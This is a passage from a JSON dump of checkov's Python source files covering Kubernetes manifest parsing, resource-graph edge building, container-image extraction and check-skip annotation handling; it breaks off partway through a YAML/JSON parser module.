    "content": "from __future__ import annotations\n\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder\n\n\nclass VertexConncetions:\n    def __init__(self, origin_vertex_index: int, destination_vertices_indices: list[int] | None = None) -> None:\n        self.origin_vertex_index = origin_vertex_index\n        self.destination_vertices_indices = destination_vertices_indices or []\n\n\nclass ServiceAccountEdgeBuilder(K8SEdgeBuilder):\n    def __init__(self) -> None:\n        self._cache: dict[str, VertexConncetions] = {}\n\n    @staticmethod\n    def should_search_for_edges(vertex: KubernetesBlock) -> bool:\n        kind: str | None = vertex.attributes.get('kind')\n        return kind == 'ServiceAccount'\n\n    def _find_all_service_accounts(self, vertices: list[KubernetesBlock]) -> bool:\n        found_service_accounts = False\n        for index, vertex in enumerate(vertices):\n            service_account_name = vertex.attributes.get('metadata.name')\n            if vertex.attributes.get('kind') != 'ServiceAccount' or service_account_name is None:\n                continue\n            self._cache[service_account_name] = VertexConncetions(index)\n            found_service_accounts = True\n        return found_service_accounts\n\n    @staticmethod\n    def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        # DEPRECATED - this is just here for this builder to support the interface. Use `find_connections_for_instance`\n        raise NotImplementedError\n\n    def find_connections_for_instance(self, vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        if not self._cache:\n            found_service_accounts = self._find_all_service_accounts(vertices)\n            if found_service_accounts:\n                for index, destination_vertex in enumerate(vertices):\n                    if destination_vertex.id == vertex.id:\n                        continue\n\n                    destination_vertex_ref = destination_vertex.attributes.get('spec.serviceAccountName')\n                    if destination_vertex_ref in self._cache:\n                        self._cache[destination_vertex_ref].destination_vertices_indices.append(index)\n\n        vertex_ref = vertex.attributes.get('metadata.name')\n        if vertex_ref is None:\n            return []\n        return self._cache[vertex_ref].destination_vertices_indices\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any, List, Dict\nfrom collections import defaultdict\n\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock, KubernetesBlockMetadata, KubernetesSelector\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.ServiceAccountEdgeBuilder import ServiceAccountEdgeBuilder\nfrom checkov.kubernetes.kubernetes_utils import DEFAULT_NESTED_RESOURCE_TYPE, is_invalid_k8_definition, get_resource_id, is_invalid_k8_pod_definition, \\\n    remove_metadata_from_attribute, PARENT_RESOURCE_KEY_NAME, PARENT_RESOURCE_ID_KEY_NAME, SUPPORTED_POD_CONTAINERS_TYPES\nfrom checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.LabelSelectorEdgeBuilder import LabelSelectorEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.KeywordEdgeBuilder import KeywordEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.NetworkPolicyEdgeBuilder import NetworkPolicyEdgeBuilder\n\n\nclass KubernetesLocalGraph(LocalGraph[KubernetesBlock]):\n    def __init__(self, definitions: dict[str, list[dict[str, Any]]]) -> None:\n        self.definitions = definitions\n        self.edge_builders: list[type[K8SEdgeBuilder] | ServiceAccountEdgeBuilder] = \\\n            [LabelSelectorEdgeBuilder, KeywordEdgeBuilder, NetworkPolicyEdgeBuilder, ServiceAccountEdgeBuilder()]\n        super().__init__()\n\n    def build_graph(self, render_variables: bool, graph_flags: K8sGraphFlags | None = None) -> None:\n        if graph_flags is None:\n            graph_flags = K8sGraphFlags()\n\n        self._create_vertices(create_complex_vertices=graph_flags.create_complex_vertices)\n        if graph_flags.create_edges:\n            self._create_edges()\n\n    def _create_vertices(self, create_complex_vertices: bool) -> None:\n        for file_path, file_conf in self.definitions.items():\n\n            if create_complex_vertices:\n                file_conf = self._extract_nested_resources(file_conf)\n\n            for resource in file_conf[:]:\n                resource_type = resource.get('kind', DEFAULT_NESTED_RESOURCE_TYPE)\n                metadata = resource.get('metadata') or {}\n                # TODO: add support for generateName\n\n                if resource_type == DEFAULT_NESTED_RESOURCE_TYPE:\n                    if is_invalid_k8_pod_definition(resource):\n                        logging.info(f\"failed to create a vertex in file {file_path}\")\n                        file_conf.remove(resource)\n                        continue\n\n                else:\n                    if is_invalid_k8_definition(resource) or not metadata.get('name'):\n                        logging.info(f\"failed to create a vertex in file {file_path}\")\n                        file_conf.remove(resource)\n                        continue\n\n                config = pickle_deepcopy(resource)\n                attributes = pickle_deepcopy(config)\n                attributes[\"resource_type\"] = resource_type\n                attributes[\"kind\"] = resource_type\n                attributes[START_LINE] = resource[START_LINE]\n                attributes[END_LINE] = resource[END_LINE]\n\n                block_id = get_resource_id(resource)\n                if not block_id:\n                    continue\n\n                block_metadata = None\n                if create_complex_vertices:\n                    block_metadata = KubernetesLocalGraph._get_k8s_block_metadata(resource)\n\n                self.vertices.append(KubernetesBlock(\n                    block_name=block_id,\n                    resource_type=resource_type,\n                    config=config,\n                    path=file_path,\n                    attributes=attributes,\n                    metadata=block_metadata\n                ))\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n\n    def _create_edges(self) -> None:\n        edges_to_create = defaultdict(list)\n        for vertex_index, vertex in enumerate(self.vertices):\n            for edge_builder in self.edge_builders:\n                if edge_builder.should_search_for_edges(vertex):\n                    # Needs to be handled separately as it requires an instance rather than a static method\n                    if isinstance(edge_builder, ServiceAccountEdgeBuilder):\n                        current_vertex_connections = edge_builder.find_connections_for_instance(vertex, self.vertices)\n                    else:\n                        current_vertex_connections = edge_builder.find_connections(vertex, self.vertices)\n                    if current_vertex_connections:\n                        edges_to_create[vertex.name].extend(current_vertex_connections)\n            for destination_vertex_index in edges_to_create[vertex.name]:\n                self._create_edge(vertex_index, destination_vertex_index, vertex.name)\n\n    def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str) -> None:\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        self.edges.append(edge)\n        self.out_edges[origin_vertex_index].append(edge)\n        self.in_edges[dest_vertex_index].append(edge)\n\n    @staticmethod\n    def _get_k8s_block_metadata(resource: Dict[str, Any]) -> KubernetesBlockMetadata:\n        name = resource.get('metadata', {}).get('name')\n        spec = resource.get('spec')\n        match_labels: Dict[str, Any] | None = None\n        if isinstance(spec, list):\n            for spec_item in spec:\n                if spec_item.get('selector'):\n                    if resource.get('kind') == \"Service\":\n                        match_labels = spec_item.get('selector')\n                    else:\n                        match_labels = spec_item.get('selector').get('matchLabels')\n                    break\n            else:\n                match_labels = None\n        elif isinstance(spec, dict):\n            if spec.get('selector'):\n                if isinstance(spec.get('selector'), dict):\n                    if resource.get('kind') == \"Service\":\n                        match_labels = spec.get('selector')\n                    else:\n                        match_labels = spec.get('selector', {}).get('matchLabels')\n        remove_metadata_from_attribute(match_labels)\n        selector = KubernetesSelector(match_labels)\n        labels = resource.get('metadata', {}).get('labels')\n        remove_metadata_from_attribute(labels)\n        return KubernetesBlockMetadata(selector, labels, name)\n\n    @staticmethod\n    def _extract_nested_resources(file_conf: List[Dict[str, Any]]) -> List[Dict[str, Any]]:\n        all_resources: \"list[dict[str, Any]]\" = []\n        for conf in file_conf:\n            KubernetesLocalGraph._extract_nested_resources_recursive(conf, all_resources)\n        return all_resources\n\n    @staticmethod\n    def _extract_nested_resources_recursive(conf: Dict[str, Any], all_resources: List[Dict[str, Any]]) -> None:\n        spec = conf.get('spec')\n        if not spec or not isinstance(spec, dict):\n            all_resources.append(conf)\n            return\n        template = spec.get('template', None)\n        if not template or not isinstance(template, dict):\n            all_resources.append(conf)\n            return\n        if is_invalid_k8_pod_definition(template):\n            all_resources.append(conf)\n            return\n        if conf.get('kind') in SUPPORTED_POD_CONTAINERS_TYPES:\n            # means this is a Pod resource nested in a supported template container resource\n            template[PARENT_RESOURCE_ID_KEY_NAME] = get_resource_id(conf)\n            metadata = conf.get('metadata', {})\n            if not metadata:\n                # resource does not contain all required fields and can not be associated with the pod\n                all_resources.append(conf)\n                return\n\n            parent_name = metadata.get('name', \"\")\n            template[PARENT_RESOURCE_KEY_NAME] = parent_name\n            if not template.get('kind'):\n                template['kind'] = DEFAULT_NESTED_RESOURCE_TYPE\n            if not template.get('apiVersion'):\n                template['apiVersion'] = conf.get('apiVersion')\n\n            template_metadata = template.get('metadata')\n\n            template_namespace = template_metadata.get('namespace')\n            metadata_namespace = metadata.get('namespace')\n            if template_namespace is None and metadata_namespace is not None:\n                template_metadata['namespace'] = metadata_namespace\n\n            annotations = metadata.get('annotations')\n            if annotations is not None and template_metadata is not None and 'annotations' not in template_metadata:\n                # Updates annotations to template as well to handle metadata added to the parent resource\n                template_metadata['annotations'] = annotations\n                template_metadata[PARENT_RESOURCE_ID_KEY_NAME] = parent_name\n            spec.pop('template', None)\n        else:\n            template = {}\n        all_resources.append(conf)\n        KubernetesLocalGraph._extract_nested_resources_recursive(template, all_resources)\n\n    def update_vertices_configs(self) -> None:\n        # not used\n        return None\n\n    @staticmethod\n    def update_vertex_config(vertex: KubernetesBlock, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False) -> None:\n        # not used\n        return None\n\n    def get_resources_types_in_graph(self) -> list[str]:\n        # not used\n        return []\n"
  },
  {
    "path": "checkov/kubernetes/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING, Optional\n\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph\nfrom checkov.kubernetes.kubernetes_utils import get_folder_definitions\nfrom checkov.kubernetes.kubernetes_graph_flags import K8sGraphFlags\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n\n\nclass KubernetesGraphManager(GraphManager[KubernetesLocalGraph, \"dict[str, list[dict[str, Any]]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.KUBERNETES) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n        self.graph_flags: K8sGraphFlags | None = None\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[KubernetesLocalGraph] = KubernetesLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[KubernetesLocalGraph, dict[str, list[dict[str, Any]]]]:\n        definitions, definitions_raw = get_folder_definitions(source_dir, excluded_paths)\n        local_graph = self.build_graph_from_definitions(definitions=definitions, render_variables=False)\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n            self, definitions: dict[str, list[dict[str, Any]]], render_variables: bool = True) -> KubernetesLocalGraph:\n        local_graph = KubernetesLocalGraph(definitions)\n        if self.graph_flags is None:\n            self.graph_flags = K8sGraphFlags()\n        local_graph.build_graph(render_variables=False, graph_flags=self.graph_flags)\n        return local_graph\n"
  },
  {
    "path": "checkov/kubernetes/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import Any, cast\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.str_utils import removeprefix\n\n\nclass BaseKubernetesProvider(GraphImageReferencerProvider):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n\n        supported_resources_graph = self.extract_nodes()\n\n        for resource in self.extract_resource(supported_resources_graph):\n            resource_type = resource[CustomAttributes.RESOURCE_TYPE]\n            resource_path = self._get_resource_path(resource)\n\n            extract_images_func = self.supported_resource_types.get(resource_type)\n            if extract_images_func:\n                for name in extract_images_func(resource):\n                    images.append(\n                        Image(\n                            file_path=resource_path,\n                            name=name,\n                            start_line=resource[START_LINE],\n                            end_line=resource[END_LINE],\n                            related_resource_id=f'{removeprefix(resource_path, os.getenv(\"BC_ROOT_DIR\", \"\"))}:{resource.get(\"id_\")}',\n                        )\n                    )\n\n        return images\n\n    def _get_resource_path(self, resource: dict[str, Any]) -> str:\n        return cast(\"str\", resource.get(CustomAttributes.FILE_PATH, \"\"))\n"
  },
  {
    "path": "checkov/kubernetes/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\nfrom checkov.kubernetes.image_referencer.provider.k8s import KubernetesProvider\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass KubernetesImageReferencerManager(GraphImageReferencerManager):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        k8s_provider = KubernetesProvider(graph_connector=self.graph_connector)\n\n        images = k8s_provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/kubernetes/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/image_referencer/provider/k8s.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n    from checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias\n\n\nclass KubernetesProvider(BaseKubernetesProvider):\n    def __init__(self, graph_connector: DiGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_cron_job(resource: dict[str, Any]) -> list[str]:\n    spec = find_in_dict(input_dict=resource, key_path=\"spec/jobTemplate/spec/template/spec\")\n    return _extract_images_from_spec(spec)\n\n\ndef extract_images_from_pod(resource: dict[str, Any]) -> list[str]:\n    spec = resource.get(\"spec\")\n    return _extract_images_from_spec(spec)\n\n\ndef extract_images_from_pod_template(resource: dict[str, Any]) -> list[str]:\n    # the 'PodTemplate' object is usually not defined by the user, but rather used by Kubernetes internally\n    spec = find_in_dict(input_dict=resource, key_path=\"template/spec\")\n    return _extract_images_from_spec(spec)\n\n\ndef extract_images_from_template(resource: dict[str, Any]) -> list[str]:\n    spec = find_in_dict(input_dict=resource, key_path=\"spec/template/spec\")\n    return _extract_images_from_spec(spec)\n\n\ndef extract_images_from_containers(containers: Any) -> set[str]:\n    \"\"\"Helper function to extract image names from containers block\"\"\"\n\n    image_names: set[str] = set()\n\n    if isinstance(containers, list):\n        for container in containers:\n            if isinstance(container, dict):\n                image = container.get(\"image\")\n                if image and isinstance(image, str):\n                    image_names.add(image)\n\n    return image_names\n\n\ndef _extract_images_from_spec(spec: dict[str, Any] | None) -> list[str]:\n    image_names: set[str] = set()\n\n    if isinstance(spec, dict):\n        containers = spec.get(\"containers\")\n        image_names.update(extract_images_from_containers(containers=containers))\n\n        containers = spec.get(\"initContainers\")\n        image_names.update(extract_images_from_containers(containers=containers))\n\n    # Makes sure we return no duplications\n    return list(image_names)\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_K8S_IMAGE_RESOURCE_TYPES: \"dict[str, _ExtractImagesCallableAlias]\" = {\n    \"CronJob\": extract_images_from_cron_job,\n    \"Deployment\": extract_images_from_template,\n    \"DeploymentConfig\": extract_images_from_template,\n    \"DaemonSet\": extract_images_from_template,\n    \"Job\": extract_images_from_template,\n    \"Pod\": extract_images_from_pod,\n    \"PodTemplate\": extract_images_from_pod_template,\n    \"ReplicaSet\": extract_images_from_template,\n    \"ReplicationController\": extract_images_from_template,\n    \"StatefulSet\": extract_images_from_template,\n}\n"
  },
  {
    "path": "checkov/kubernetes/kubernetes_graph_flags.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom dataclasses import dataclass\n\nCREATE_COMPLEX_VERTICES = 'CREATE_COMPLEX_VERTICES'\nCREATE_EDGES = 'CREATE_EDGES'\n\n\n@dataclass()\nclass K8sGraphFlags:\n    create_complex_vertices: bool\n    create_edges: bool\n\n    def __init__(self, create_complex_vertices: bool = False, create_edges: bool = False) -> None:\n        create_complex_vertices_env_var: bool = bool(os.environ.get(CREATE_COMPLEX_VERTICES, True))\n        create_edges_env_var: bool = bool(os.environ.get(CREATE_EDGES, True))\n        self.create_complex_vertices = create_complex_vertices or create_complex_vertices_env_var\n        self.create_edges = create_edges or create_edges_env_var\n"
  },
  {
    "path": "checkov/kubernetes/kubernetes_utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Dict, Any, TYPE_CHECKING\n\nimport dpath\n\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.util.consts import LINE_FIELD_NAMES, START_LINE, END_LINE\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.models.consts import YAML_COMMENT_MARK\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.kubernetes.parser.parser import parse\n\nif TYPE_CHECKING:\n    from checkov.common.typing import _SkippedCheck, _CheckResult, _EntityContext\n\nEXCLUDED_FILE_NAMES = {\"package.json\", \"package-lock.json\"}\nK8_POSSIBLE_ENDINGS = {\".yaml\", \".yml\", \".json\"}\nDEFAULT_NESTED_RESOURCE_TYPE = \"Pod\"\nSUPPORTED_POD_CONTAINERS_TYPES = {\"Deployment\", \"DeploymentConfig\", \"DaemonSet\", \"Job\", \"ReplicaSet\", \"ReplicationController\", \"StatefulSet\"}\nPARENT_RESOURCE_KEY_NAME = \"_parent_resource\"\nPARENT_RESOURCE_ID_KEY_NAME = \"_parent_resource_id\"\nFILTERED_RESOURCES_FOR_EDGE_BUILDERS = [\"NetworkPolicy\"]\n\n\ndef should_include_path(full_path: str, ignore_hidden_dir: bool) -> bool:\n    if full_path in EXCLUDED_FILE_NAMES:\n        return False\n\n    inside_hidden_dir = \"/.\" in full_path\n    if inside_hidden_dir and ignore_hidden_dir:\n        return False\n\n    return True\n\n\ndef get_folder_definitions(\n        root_folder: str, excluded_paths: list[str] | None\n) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]:\n    files_list = []\n    for root, d_names, f_names in os.walk(root_folder):\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n\n        for file in f_names:\n            file_ending = os.path.splitext(file)[1]\n            if file_ending in K8_POSSIBLE_ENDINGS:\n                full_path = os.path.join(root, file)\n                if should_include_path(full_path, env_vars_config.IGNORE_HIDDEN_DIRECTORIES):\n                    # skip temp directories\n                    files_list.append(full_path)\n    return get_files_definitions(files_list)\n\n\ndef get_files_definitions(files: list[str]) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]:\n    definitions = {}\n    definitions_raw = {}\n    results = parallel_runner.run_function(_parse_file, files)\n    for result in results:\n        if result:\n            path, parse_result = result\n            if parse_result:\n                definitions[path], definitions_raw[path] = parse_result\n    return definitions, definitions_raw\n\n\ndef _parse_file(filename: str) -> tuple[str, tuple[list[dict[str, Any]], list[tuple[int, str]]] | None] | None:\n    try:\n        return filename, parse(filename)\n    except (TypeError, ValueError):\n        logging.warning(f\"Kubernetes skipping {filename} as it is not a valid Kubernetes template\", exc_info=True)\n\n    return None\n\n\ndef get_skipped_checks(entity_conf: dict[str, Any]) -> list[_SkippedCheck]:\n    skipped = []\n    metadata = {}\n    bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n    if not isinstance(entity_conf, dict):\n        return skipped\n    if \"metadata\" in entity_conf.keys():\n        metadata = entity_conf[\"metadata\"]\n    if metadata and \"annotations\" in metadata.keys() and metadata[\"annotations\"] is not None:\n        if isinstance(metadata[\"annotations\"], dict):\n            metadata[\"annotations\"] = force_list(metadata[\"annotations\"])\n        for annotation in metadata[\"annotations\"]:\n            if not isinstance(annotation, dict):\n                logging.debug(f\"Parse of Annotation Failed for {annotation}: {entity_conf}\")\n                continue\n            for key in annotation:\n                skipped_item: \"_SkippedCheck\" = {}\n                if \"checkov.io/skip\" in key or \"bridgecrew.io/skip\" in key:\n                    if \"=\" in annotation[key]:\n                        (skipped_item[\"id\"], skipped_item[\"suppress_comment\"]) = annotation[key].split(\"=\")\n                    else:\n                        skipped_item[\"id\"] = annotation[key]\n                        skipped_item[\"suppress_comment\"] = \"No comment provided\"\n\n                    # No matter which ID was used to skip, save the pair of IDs in the appropriate fields\n                    if bc_id_mapping and skipped_item[\"id\"] in bc_id_mapping:\n                        skipped_item[\"bc_id\"] = skipped_item[\"id\"]\n                        skipped_item[\"id\"] = bc_id_mapping[skipped_item[\"id\"]]\n                    elif metadata_integration.check_metadata:\n                        skipped_item[\"bc_id\"] = metadata_integration.get_bc_id(skipped_item[\"id\"])\n                    skipped.append(skipped_item)\n    return skipped\n\n\ndef create_definitions(\n    root_folder: str | None,\n    files: list[str] | None = None,\n    runner_filter: RunnerFilter | None = None,\n) -> tuple[dict[str, list[dict[str, Any]]], dict[str, list[tuple[int, str]]]]:\n    runner_filter = runner_filter or RunnerFilter()\n    definitions: dict[str, list[dict[str, Any]]] = {}\n    definitions_raw: dict[str, list[tuple[int, str]]] = {}\n    if files:\n        definitions, definitions_raw = get_files_definitions(files)\n\n    if root_folder:\n        definitions, definitions_raw = get_folder_definitions(root_folder, runner_filter.excluded_paths)\n\n    return definitions, definitions_raw\n\n\ndef build_definitions_context(\n    definitions: dict[str, list[dict[str, Any]]], definitions_raw: dict[str, list[tuple[int, str]]]\n) -> dict[str, dict[str, Any]]:\n    definitions_context: Dict[str, Dict[str, Any]] = {}\n    # iterate on the files\n    for file_path, resources in definitions.items():\n        for resource in resources[:]:\n            if resource.get(\"kind\") == \"List\":\n                # this could be inefficient, if more than one 'List' object exists in the same file\n                resources = resources[:]\n                resources.extend(item for item in resource.get(\"items\", []) if item)\n                resources.remove(resource)\n\n        # iterate on the resources\n        for resource in resources:\n            if is_invalid_k8_definition(resource):\n                continue\n            resource_id = get_resource_id(resource)\n            if not resource_id:\n                continue\n\n            relative_resource_path = None\n            if 'metadata' in resource:\n                metadata = resource['metadata']\n                if 'annotations' in metadata and metadata['annotations'] is not None\\\n                        and 'config.kubernetes.io/origin' in metadata['annotations']:\n                    metadata_path = metadata['annotations']['config.kubernetes.io/origin']\n                    if 'path:' in metadata_path:\n                        relative_resource_path = metadata_path.split('path:')[1].strip()\n\n            resource_start_line = resource[START_LINE]\n            resource_end_line = min(resource[END_LINE], len(definitions_raw[file_path]))\n            raw_code = definitions_raw[file_path]\n            code_lines, start_line, end_line = calculate_code_lines(raw_code, resource_start_line, resource_end_line)\n            dpath.new(\n                definitions_context,\n                [file_path, resource_id],\n                {\"start_line\": start_line, \"end_line\": end_line, \"code_lines\": code_lines,\n                 \"origin_relative_path\": relative_resource_path},\n            )\n\n            skipped_checks = get_skipped_checks(resource)\n            dpath.new(\n                definitions_context,\n                [file_path, resource_id, \"skipped_checks\"],\n                skipped_checks,\n            )\n    return definitions_context\n\n\ndef calculate_code_lines(raw_code: list[tuple[int, str]], start_line: int, end_line: int) \\\n        -> tuple[list[tuple[int, str]], int, int]:\n    first_line_index = 0\n    # skip empty lines\n    while not str.strip(raw_code[first_line_index][1]):\n        first_line_index += 1\n    # check if the file is a json file\n    if str.strip(raw_code[first_line_index][1])[0] == \"{\":\n        start_line += 1\n        end_line += 1\n    else:\n        # add resource comments to definition lines\n        current_line = str.strip(raw_code[start_line - 1][1])\n        while not current_line or current_line[0] == YAML_COMMENT_MARK:\n            start_line -= 1\n            current_line = str.strip(raw_code[start_line - 1][1])\n\n        # remove next resource comments from definition lines\n        current_line = str.strip(raw_code[end_line - 1][1])\n        while not current_line or current_line[0] == YAML_COMMENT_MARK:\n            end_line -= 1\n            current_line = str.strip(raw_code[end_line - 1][1])\n    code_lines = raw_code[start_line - 1: end_line]\n    return code_lines, start_line, end_line\n\n\ndef is_invalid_k8_definition(definition: Dict[str, Any]) -> bool:\n    return (\n        not isinstance(definition, dict)\n        or 'apiVersion' not in definition.keys()\n        or 'kind' not in definition.keys()\n        or isinstance(definition.get(\"kind\"), int)\n        or not isinstance(definition.get('metadata'), dict)\n    )\n\n\ndef is_invalid_k8_pod_definition(definition: Dict[str, Any]) -> bool:\n    if not isinstance(definition, dict):\n        return True\n    metadata = definition.get('metadata')\n    if not isinstance(metadata, dict):\n        return True\n    spec = definition.get('spec')\n    if not isinstance(spec, dict) and not isinstance(spec, list):\n        return True\n    labels = metadata.get('labels')\n    name = metadata.get('name')\n    if name is None and labels is None:\n        return True\n    return False\n\n\ndef get_resource_id(resource: dict[str, Any] | None) -> str | None:\n    if not resource:\n        return None\n\n    resource_type = resource.get(\"kind\", DEFAULT_NESTED_RESOURCE_TYPE)\n    metadata = resource.get(\"metadata\") or {}\n    namespace = metadata.get(\"namespace\", \"default\")\n    name = metadata.get(\"name\")\n    if name:\n        return f'{resource_type}.{namespace}.{name}'\n    labels = metadata.get(\"labels\")\n    if labels:\n        return build_resource_id_from_labels(resource_type, namespace, labels, resource)\n    return None\n\n\ndef build_resource_id_from_labels(resource_type: str,\n                                  namespace: str,\n                                  labels: dict[str, str],\n                                  resource: dict[str, Any]) -> str:\n    labels_list = [\n        f\"{label}-{value}\"\n        for label, value in labels.items()\n        if label not in LINE_FIELD_NAMES\n    ]\n    labels_string = \".\".join(labels_list) if labels_list else \"default\"\n    parent_resource = resource.get(PARENT_RESOURCE_KEY_NAME)\n    if parent_resource:\n        resource_id = f'{resource_type}.{namespace}.{parent_resource}.{labels_string}'\n    else:\n        resource_id = f'{resource_type}.{namespace}.{labels_string}'\n    return resource_id\n\n\ndef remove_metadata_from_attribute(attribute: dict[str, Any] | None) -> None:\n    if isinstance(attribute, dict):\n        attribute.pop(\"__startline__\", None)\n        attribute.pop(\"__endline__\", None)\n\n\ndef create_check_result(check_result: _CheckResult, entity_context: _EntityContext, check_id: str) -> _CheckResult:\n    \"\"\"Creates a cleaned version of check_result for further usage\"\"\"\n\n    clean_check_result: _CheckResult = {\n        \"result\": check_result[\"result\"],\n        \"evaluated_keys\": check_result[\"evaluated_keys\"],\n    }\n\n    for skipped_check in entity_context.get(\"skipped_checks\", []):\n        if skipped_check[\"id\"] == check_id:\n            clean_check_result[\"result\"] = CheckResult.SKIPPED\n            clean_check_result[\"suppress_comment\"] = skipped_check[\"suppress_comment\"]\n            break\n\n    return clean_check_result\n"
  },
  {
    "path": "checkov/kubernetes/parser/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/parser/k8_json.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections.abc import Hashable\nfrom pathlib import Path\nfrom typing import Tuple, Dict, Any, List, TYPE_CHECKING\n\nimport json\nimport yaml\nfrom yaml.loader import SafeLoader\nfrom checkov.common.parsers.json.decoder import SimpleDecoder\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import END_LINE, START_LINE, MAX_IAC_FILE_SIZE\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nif TYPE_CHECKING:\n    from yaml import MappingNode\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef loads(content: str) -> list[dict[str, Any]]:\n    \"\"\"\n    Load the given JSON string\n    \"\"\"\n\n    content = \"[\" + content + \"]\"\n    content = content.replace('}{', '},{')\n    content = content.replace('}\\n{', '},\\n{')\n\n    template: list[dict[str, Any]] = yaml.load(content, Loader=SafeLineLoader)  # nosec  # custom safe loader\n\n    # Convert an empty file to an empty list\n    if template is None:\n        template = []\n\n    return template\n\n\ndef load(filename: Path) -> Tuple[List[Dict[str, Any]], List[Tuple[int, str]]]:\n    \"\"\"\n    Load the given JSON file\n    \"\"\"\n\n    content = read_file_with_any_encoding(file_path=filename)\n\n    if not all(key in content for key in (\"apiVersion\", \"kind\")):\n        return [{}], []\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n    file_size = len(content)\n\n    if file_size > MAX_IAC_FILE_SIZE:\n        # large JSON files take too much time, when parsed with `pyyaml`, compared to a normal 'json.loads()'\n        # with start/end line numbers of 0 takes only a few seconds\n        logging.info(\n            f\"File {filename} has a size of {file_size} which is bigger than the supported 50mb, \"\n            \"therefore file lines will default to 0.\"\n            \"This limit can be adjusted via the environment variable 'CHECKOV_MAX_IAC_FILE_SIZE'.\"\n        )\n        return json.loads(content, cls=CustomDecoder), file_lines\n\n    template = loads(content)\n\n    return template, file_lines\n\n\nclass SafeLineLoader(SafeLoader):\n    def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]:\n        mapping = super().construct_mapping(node, deep=deep)\n        # Add 1 so line numbering starts at 1\n        # 